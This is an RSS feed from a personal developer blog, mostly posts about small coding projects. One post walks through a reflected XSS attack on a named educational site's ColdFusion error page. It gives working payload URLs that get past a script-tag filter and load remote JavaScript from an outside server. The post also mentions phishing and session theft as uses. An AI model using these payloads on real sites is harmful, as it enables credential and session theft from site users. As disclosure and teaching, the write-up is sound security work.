<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Yifan Lu</title>
	<atom:link href="http://www.yifanlu.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.yifanlu.com</link>
	<description>My personal weblog and projects</description>
	<lastBuildDate>Mon, 01 Mar 2010 03:29:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google Apps User Registration Script</title>
		<link>http://www.yifanlu.com/2010/02/19/google-apps-user-registration-script/</link>
		<comments>http://www.yifanlu.com/2010/02/19/google-apps-user-registration-script/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 04:25:14 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[gaurs]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.yifanlu.com/?p=143</guid>
		<description><![CDATA[Here&#8217;s another one of my famous 3-hour-projects. I finally decided to cleanup my email. It&#8217;s too hard to &#8220;clean&#8221;, so I decided to start from scratch by making a new email account. So, I made a Google Apps account. Google Apps is a great product, but one thing missing is registration for users. (You must [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another one of my famous 3-hour-projects. I finally decided to cleanup my email. It&#8217;s too hard to &#8220;clean&#8221;, so I decided to start from scratch by making a new email account. So, I made a Google Apps account. Google Apps is a great product, but one thing missing is registration for users. (You must make an account manually for your user) So, I decided to make one myself. This PHP script acts as a proxy between you and Google Apps. It allows your users to create their own account with you and your Google Apps. It is composed of a backend and a frontend. The backend does the work of taking your admin credentials and form data from a user and creating an account for the user. The frontend hosts the GUI. I made sure to well-comment the code, so it should be easy to create your own frontend to match the style and code of your site. I&#8217;m probity won&#8217;t work on this project again, but because it&#8217;s released under GNU v3 (as all my projects), you can take it and add on to it.</p>
<p><a href="http://www.yifanlu.com/p/googleappuserregistration">Google Apps User Registration Script</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2010/02/19/google-apps-user-registration-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rant on Facebook</title>
		<link>http://www.yifanlu.com/2010/02/11/rant-on-facebook/</link>
		<comments>http://www.yifanlu.com/2010/02/11/rant-on-facebook/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 03:45:26 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Information]]></category>
		<category><![CDATA[Rant]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.yifanlu.com/2010/02/11/rant-on-facebook/</guid>
		<description><![CDATA[Ok, I still don&#8217;t really know what to do with this blog, so I&#8217;ll try, again, something new.
As a member of the iPhone religion, I don&#8217;t use the computer to browse the web often anymore. Today I went on Facebook, and WTF, everything changed. It&#8217;s like if you went on vacation for a week and [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, I still don&#8217;t really know what to do with this blog, so I&#8217;ll try, again, something new.</p>
<p>As a member of the iPhone religion, I don&#8217;t use the computer to browse the web often anymore. Today I went on Facebook, and WTF, everything changed. It&#8217;s like if you went on vacation for a week and came home to find the furniture rearranged. It&#8217;s not bad, but it&#8217;s pointless and doesn&#8217;t feel like your home anymore. Facebook went and fixed something that wa not broken. Why? Their Twitter-envy.</p>
<p>The downfall of Facebook will be similar to Caesar. Too much ambition. Every move Facebook makes to become more like Twitter results in another percentage of people who gets pissed off. Piss on them enough and they&#8217;ll leave. Some things they done: vanity URL, privacy fiasco (suddenly all your data is public), now the new design.</p>
<p>I like Twitter. I like Facebook. I don&#8217;t like two Twitters. Twitter is for sharing information with strangers while Facebook is for sharing information with friends. I don&#8217;t want to mix the two. Most people join Facebook for the privacy and connection-to-friend. Those same people will leave if Facebook continues to force/trick their users into publicizing their information.</p>
<p>tl;dr? Facebook should concentrate on their own core business and not worry about others. Don&#8217;t fix what is not broken, because you&#8217;ll only make things worse.</p>
<p>Also, while on the topic of Facebook: Please don&#8217;t use the link on the sidebar to my Facebook account if you don&#8217;t know me personally. As I said, I only accept requests from people I know. Follow me on Twitter if I don&#8217;t know you. If you just want to talk to me, there&#8217;s a contact form.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2010/02/11/rant-on-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Site Updates + iPhone Support</title>
		<link>http://www.yifanlu.com/2010/01/28/site-updates-iphone-support/</link>
		<comments>http://www.yifanlu.com/2010/01/28/site-updates-iphone-support/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 00:09:29 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[bug fixes]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[site]]></category>
		<category><![CDATA[Updates]]></category>
		<category><![CDATA[wptouch]]></category>

		<guid isPermaLink="false">http://www.yifanlu.com/?p=135</guid>
		<description><![CDATA[I finally took some time from my busy schedule and made some changes to the site.

I stopped being cheap and finally bought www.yifanlu.com
Thanks to WPTouch, the site can be viewed on the iPhone &#38; Android with ease
Added a contact form
Made tweaks here and there in the designs, fixed some typos &#38; style errors

Also, quick update: [...]]]></description>
			<content:encoded><![CDATA[<p>I finally took some time from my busy schedule and made some changes to the site.</p>
<ol>
<li>I stopped being cheap and finally bought www.yifanlu.com</li>
<li>Thanks to WPTouch, the site can be viewed on the iPhone &amp; Android with ease</li>
<li>Added a contact form</li>
<li>Made tweaks here and there in the designs, fixed some typos &amp; style errors</li>
</ol>
<p>Also, quick update: I&#8217;m still working on that Facebook app, with all the homework and exams, I barely have any free time, however, here&#8217;s some screens on <a href="http://www.facebook.com/album.php?aid=2034334&amp;id=1299785766&amp;l=921f5309f0">Facebook</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2010/01/28/site-updates-iphone-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ColdFusion Server 8 XSS Exploit</title>
		<link>http://www.yifanlu.com/2010/01/17/codefusion-server-8-xss-exploit/</link>
		<comments>http://www.yifanlu.com/2010/01/17/codefusion-server-8-xss-exploit/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 04:28:48 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Information]]></category>
		<category><![CDATA[codefusion]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[script kiddie]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.yifanlu.co.cc/?p=94</guid>
		<description><![CDATA[This is a first (as in my first REAL blog post), I will publish an essay on a exploit I just discovered. First of all, I don&#8217;t know if it&#8217;s been discovered already, or even patched, or if it&#8217;s just on this one host, but I&#8217;ll write this to show the process of finding an [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">This is a first (as in my first REAL blog post), I will publish an essay on a exploit I just discovered. First of all, I don&#8217;t know if it&#8217;s been discovered already, or even patched, or if it&#8217;s just on this one host, but I&#8217;ll write this to show the process of finding an exploit and exploiting it. Second, a disclaimer: I have and will not use this for anything malicious, and you should not either. The information provided is purely educational and should be used for securing your sites better.</div>
<div id="_mcePaste">So, a friend of mine is taking a Web Mastering class in school. He showed me the site they use to take lessons, http://www.edulaunch.com/. First of all, I have nothing against the owner of the site, or the contents, but I decided to play around and see if everything&#8217;s secure (I don&#8217;t know why, habit I guess, first thing I do when I find a new site, is do some penetration tests on it), so far so good, login form escapes data correctly, and no other form data could be found anywhere. Directories are properly secured, hidden files cannot be accessed, no anonymous access to the FTP server. Ok, good, last test, how well the server handles errors, I&#8217;ll try to induce a simple 404 error: http://www.edulaunch.com/nothere.cfm, uh-oh, what&#8217;s this:</div>
<blockquote>
<div>File not found: /nothere.cfm</div>
</blockquote>
<div id="_mcePaste">It seems like the file name is being printed in plain-text. I&#8217;ll try something else: /&lt;b&gt;nothere&lt;/b&gt;.cfm, just as I suspected, the file name is now bold. Ladies and gentlemen, we have an XSS exploit. The most common security flaw on the internet. After playing around with random URLs, I&#8217;ve figured out the following: 1) The filename (in plaintext) will only print if the string contains only Windows-valid filenames, so no colon (:), question mark (?), semicolon (;), etc. 2) The filename prints in plaintext on the title, but is escaped in the paragraph below. 3) There is some security, “exploit” tags such as &lt;script&gt;, &lt;embed&gt;, &lt;applet&gt;, etc are automatically changed to &lt;invalidTag&gt;. With this in mind, I continued to the next part, injecting the payload.</div>
<div id="_mcePaste">Like I said, &lt;script&gt; is blocked, so I used (common, I think) plan B, the &lt;body&gt; tag. &lt;body onload&gt; works just like &lt;script&gt;, so I changed the filename request to</div>
<blockquote>
<div><code>http://www.edulaunch.com/&lt;body onload=”document.write(‘&lt;h1&gt;Hello World&lt;/h1&gt;’)”&gt;.cfm</code></div>
</blockquote>
<div>(the CFM at the end tells ColdFusion to handle the page, and thus, the errors) And bam, the page is now blank with my message displayed as the header, but that’s pretty useless. A URL can only be so many bytes long, and since we can’t use the semicolon character, we are limited to one Javascript line, and that’s no fun. What we need, is a way to include an external Javascript file (after all, this is Cross Site Scripting, XSS), and to do that, we need the &lt;script&gt; tag, so how do we get &lt;script&gt; to work if it’s being filtered out? Easy, we make Javascript write Javascript.</div>
<div id="_mcePaste">Instead of Hello World, our Javascript code should write another piece of Javascript code, this time in the &lt;script&gt; tag. But how do we do that? It’s blocked! Well, what if we break it into two pieces?</div>
<blockquote>
<div><code>http://www.edulaunch.com/&lt;body onload=”‘document.write(‘&lt;scr’ + ‘ipt src=http://www.remote.com/xss.js&gt;&lt;/script&gt;’)” /&gt;.cfm</code></div>
</blockquote>
<div>We’re done, right? The script has been loaded? Not quite yet, remember, the colon (:) breaks it. And while we’re on the subject of pesky characters, some (and by some, I mean all major) browsers automatically change a double slash (//) to a single one (/). Well, don’t give up yet, say hello to the script kiddie’s best friend, Javascript’s String.fromCharCode() function. This function converts the ASCII code of a character to a string. Colon is 58 and the backslash is 47, so instead of http://, we can do ‘http&#8217;+String.fromCharCode(58, 47, 47), using only friendly characters. So, we can now include an external Javascript file with the following URL:</div>
<blockquote>
<div><code>http://www. edulaunch.com/&lt;body onload="document.write('&lt;body&gt;&lt;scr'+'ipt src=http'+String.fromCharCode(58, 47, 47)+'www.externalserver.com'+String.fromCharCode(47)+'xss.js&gt;&lt;/scr'+'ipt&gt;')"&gt;</code></div>
</blockquote>
<div>(Remember to write a new &lt;body&gt; tag when including your external JS if you want to modify the body later). So, now the remote server is loading our script, the rest is easy.</div>
<div id="_mcePaste">What I did was I took the HTML of the original home page, changed some lines, and encoded it into Javascript. I then used innerHTML to replace the body with my new HTML file.</div>
<div id="_mcePaste"><strong>Original</strong>: <a title="http://www.edulaunch.com/" href="http://www.edulaunch.com/">http://www.edulaunch.com/</a></div>
<div id="_mcePaste"><strong>Bad Page: </strong><a title="Link too long to show, I know I said not to click on links from strangers, but you can trust me, right?" href="http://www.edulaunch.com/%3Cbody%20onload=%22document.write%28%27%3Cbody%3E%3Cscr%27+%27ipt%20src=http%27+String.fromCharCode%2858,%2047,%2047%29+%27yifanlu.homeserver.com%27+String.fromCharCode%2847%29+%27xss.js%3E%3C/scr%27+%27ipt%3E%27%29%22%3E.cfm">http://www.edulaunch.com/&#8230;cfm</a></div>
<div>(Link&#8217;s too long, you&#8217;re going to have to copy &amp; paste. I can easily use a short-url service to mask the large string, and if the site is HTTPS, then the browser will show a huge green verified site logo)</div>
<div>So, first of all, this isn&#8217;t the web master&#8217;s fault, it&#8217;s the fault of CodeFusion&#8217;s developers at Adobe (now), and then again, it really isn&#8217;t their fault either. It&#8217;s just a simple mistake (showing in plain text a user input), but the point is that simple mistakes can have huge consequences. Again, I don&#8217;t know if this exploit works elsewhere, if it&#8217;s been patched long time ago, etc, but I know the everyone using CodeFusion from the host <a title="http://www.enterhost.com/" href="http://www.enterhost.com/">http://www.enterhost.com/</a> are vulnerable.</div>
<div>Again, whoever&#8217;s reading this should use this knowledge for good. The most common bug in web sites are XSS exploits. The reason they&#8217;re so popular is because web masters often neglect them. They don&#8217;t seem to be dangerous because XSS exploits won&#8217;t touch the server (unlike SQL exploits where you can delete whole databases), and are usually hard to spot. (Like this one, who would have thought you can exploit a freaking ERROR message?) But XSS is, in fact, very dangerous, if a hacker (or more likely, a script kiddie) use XSS to write a fake login page, and send the link to the site&#8217;s users, the user will try to log on, and they would have logged all their passwords. They can send a malformed link through a chat service and steal the user&#8217;s current session. They can email a fake page to a site admin, and steal their password. Write your web apps safer, filter out user input, make sure your server software is up-to-date and don&#8217;t click on links from strangers!</div>
<div></div>
<div><strong>EDIT: </strong>It seems like this is known for a while now: http://www.adobe.com/support/security/bulletins/apsb06-14.html</div>
<div>It&#8217;s weird because Adobe states that it&#8217;s fixed in ColdFusion 7 while the server that was exploitable used CF8. This shows that you need to apply updates to your software!</div>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2010/01/17/codefusion-server-8-xss-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making a Facebook app&#8230;</title>
		<link>http://www.yifanlu.com/2010/01/03/making-a-facebook-app/</link>
		<comments>http://www.yifanlu.com/2010/01/03/making-a-facebook-app/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 03:00:49 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Announcements]]></category>

		<guid isPermaLink="false">http://www.yifanlu.co.cc/?p=92</guid>
		<description><![CDATA[Little to report right now, but basically I&#8217;ve started working on a Facebook app to improve my CSS and Javascript/AJAX skills. Right now, it&#8217;s still in the early stages and I have nothing to show yet, but I just have to say it looks pretty awesome and clean (like part of Facebook). Smooth ajax transactions, [...]]]></description>
			<content:encoded><![CDATA[<p>Little to report right now, but basically I&#8217;ve started working on a Facebook app to improve my CSS and Javascript/AJAX skills. Right now, it&#8217;s still in the early stages and I have nothing to show yet, but I just have to say it looks pretty awesome and clean (like part of Facebook). Smooth ajax transactions, clean UI, and extreme ease of use are my goals. More to report later.</p>
<p>More information <a href="http://www.facebook.com/notes/yifan-lu/im-making-a-virtual-study-group-facebook-app-comments-suggestions-welcome/231974367878">in Facebook</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2010/01/03/making-a-facebook-app/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>First beta of Josh released</title>
		<link>http://www.yifanlu.com/2009/11/06/first-beta-of-josh-released/</link>
		<comments>http://www.yifanlu.com/2009/11/06/first-beta-of-josh-released/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 04:03:10 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Announcements]]></category>

		<guid isPermaLink="false">http://www.yifanlu.co.cc/?p=88</guid>
		<description><![CDATA[Not much to say, refer to my last post: http://www.yifanlu.co.cc/?p=85
Release Info http://www.yifanlu.com/p.htm?id=josh
Download http://github.com/yifanlu/Josh/downloads
]]></description>
			<content:encoded><![CDATA[<p>Not much to say, refer to my last post: <a href="http://www.yifanlu.co.cc/?p=85">http://www.yifanlu.co.cc/?p=85</a></p>
<p><strong>Release Info</strong> <a href="http://www.yifanlu.com/p.htm?id=josh">http://www.yifanlu.com/p.htm?id=josh</a><br />
<strong>Download</strong> <a href="http://github.com/yifanlu/Josh/downloads">http://github.com/yifanlu/Josh/downloads</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2009/11/06/first-beta-of-josh-released/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Project Josh announced!</title>
		<link>http://www.yifanlu.com/2009/11/05/project-josh-announced/</link>
		<comments>http://www.yifanlu.com/2009/11/05/project-josh-announced/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 01:17:49 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.yifanlu.co.cc/?p=85</guid>
		<description><![CDATA[My first Java project. In short, my goal is to map EVERY native Windows console function listed here: http://msdn.microsoft.com/en-us/library/ms682073(VS.85).aspx to Java via a C++ DLL, JNI, and Java. So far, what I have done is: text color/highlight and title. I&#8217;ll work on this until I find something better to work on. You can follow development [...]]]></description>
			<content:encoded><![CDATA[<p>My first Java project. In short, my goal is to map EVERY native Windows console function listed here: http://msdn.microsoft.com/en-us/library/ms682073(VS.85).aspx to Java via a C++ DLL, JNI, and Java. So far, what I have done is: text color/highlight and title. I&#8217;ll work on this until I find something better to work on. You can follow development progress via Twitter: https://twitter.com/projectjosh and the source &#038; binary will be released as soon as I can get a stable beta with at least half the functions.</p>
<p>Once this project is finished, you can easily make (Windows only) great console apps via Java. You can do advanced things like text color, background color, mouse events, cursor control, etc directly in the console.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2009/11/05/project-josh-announced/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Goodbye Habbo!</title>
		<link>http://www.yifanlu.com/2009/10/17/goodbye-habbo/</link>
		<comments>http://www.yifanlu.com/2009/10/17/goodbye-habbo/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 16:55:58 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Updates]]></category>
		<category><![CDATA[habbo]]></category>
		<category><![CDATA[igradebook]]></category>
		<category><![CDATA[ipa manager]]></category>
		<category><![CDATA[phpretro]]></category>

		<guid isPermaLink="false">http://www.yifanlu.co.cc/?p=81</guid>
		<description><![CDATA[I love Habbo and I love retros, but again, it was always &#8220;legal unless you got caught&#8221;. Well, I got caught, and it wasn&#8217;t fun. My advice (although I doubt anyone would take it) is to stop also BEFORE you get caught. Don&#8217;t think &#8220;ah, there&#8217;s 1000 other retros, nobody is going to bother about [...]]]></description>
			<content:encoded><![CDATA[<p>I love Habbo and I love retros, but again, it was always &#8220;legal unless you got caught&#8221;. Well, I got caught, and it wasn&#8217;t fun. My advice (although I doubt anyone would take it) is to stop also BEFORE you get caught. Don&#8217;t think &#8220;ah, there&#8217;s 1000 other retros, nobody is going to bother about me&#8221;. Making retros was a great experience for me and I learned alot from it, but I guess it&#8217;s best for myself if I stop. I&#8217;ll move to coding more legal stuff. Maybe a hotel from scratch (client,server,site), or maybe I&#8217;ll start making iPhone apps. I don&#8217;t know. Retros have been sucking my time away anyways, so, although it was sad, it is a load off of me now.</p>
<p>So now, all my projects related to Habbo and retros are retired and will not be updated any farther. PHPRetro is taken over by 0ni of Otaku, so hopefully it won&#8217;t die. I hope I can use my time for other projects that are more useful for the general public.</p>
<p>P.S: I&#8217;m also retiring two more projects: IPA Manager because it no longer works as Appulo.us was updated to 2.0. Maybe if I have time, I&#8217;ll recode IPA Manager from scratch with the new Appulo.us API. I&#8217;m also retiring iGradebook as it is blocked &#038; it is useless now because the gradebook can be accessed from the iPhone.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2009/10/17/goodbye-habbo/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>My first iPhone app (kind-of)</title>
		<link>http://www.yifanlu.com/2009/04/19/my-first-iphone-app-kind-of/</link>
		<comments>http://www.yifanlu.com/2009/04/19/my-first-iphone-app-kind-of/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 15:05:14 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[igradebook]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://yifanlu.izfree.com/?p=77</guid>
		<description><![CDATA[Well, it took two days to coding, but I finally did it. I made an web-app for the iPhone. The reason I decided to do this was to familiarize myself with advanced aspects of PHP, such as classes, curl, and different sorts of weird functions. I created the KGD (KISD Gradebook Disassembler) from scratch in [...]]]></description>
			<content:encoded><![CDATA[<p>Well, it took two days to coding, but I finally did it. I made an web-app for the iPhone. The reason I decided to do this was to familiarize myself with advanced aspects of PHP, such as classes, curl, and different sorts of weird functions. I created the KGD (KISD Gradebook Disassembler) from scratch in PHP. What it does is logs in to http://pic.katyisd.org/ (where you check grades), and gets to the gradebook page. It parshes the HTML and generates an array of infomation. This array can be sent to other pages for easy creation of stuff based on it. Some other features Idid was cacheing, so it would download the HTML every time, for maximum speed. It also requires NO connection to any database, so it&#8217;s very portable and expendable. It may also be one of the <em>cleanest</em> code I&#8217;ve ever written and the first one at is object-oriented (to train myself before I get to iPhone SDK programming).  The first thing I did is iGradebook. It is a cool app with an slick UI that allows you to check your grades on the iPhone. Some other things I&#8217;m looking into with the KGD core is maybe writing a desktop alert app or an Facebook plugin. If you would like to try it, check out the projects page. Look forward to the KGD core being released under GNU when I&#8217;m done. (Oh yea, this only works for KISD students, as that&#8217;s the only place I have access to grades)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2009/04/19/my-first-iphone-app-kind-of/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>What I&#8217;m working on</title>
		<link>http://www.yifanlu.com/2009/04/03/what-im-working-on/</link>
		<comments>http://www.yifanlu.com/2009/04/03/what-im-working-on/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 03:59:00 +0000</pubDate>
		<dc:creator>yifanlu</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[holocms]]></category>

		<guid isPermaLink="false">http://yifanlu.izfree.com/?p=75</guid>
		<description><![CDATA[Ok, here&#8217;s an update. I&#8217;ve been busy recoding HoloCMS. It is so far 90% faster, and has much less redundent code.  It&#8217;ll take a while until I&#8217;m done so, follow http://twitter.com/holocms to see the progress.
]]></description>
			<content:encoded><![CDATA[<p>Ok, here&#8217;s an update. I&#8217;ve been busy recoding HoloCMS. It is so far 90% faster, and has much less redundent code.  It&#8217;ll take a while until I&#8217;m done so, follow <a href="http://twitter.com/holocms" target="_self">http://twitter.com/holocms</a> to see the progress.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yifanlu.com/2009/04/03/what-im-working-on/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.223 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-03-11 02:00:12 -->
<!-- Compression = gzip -->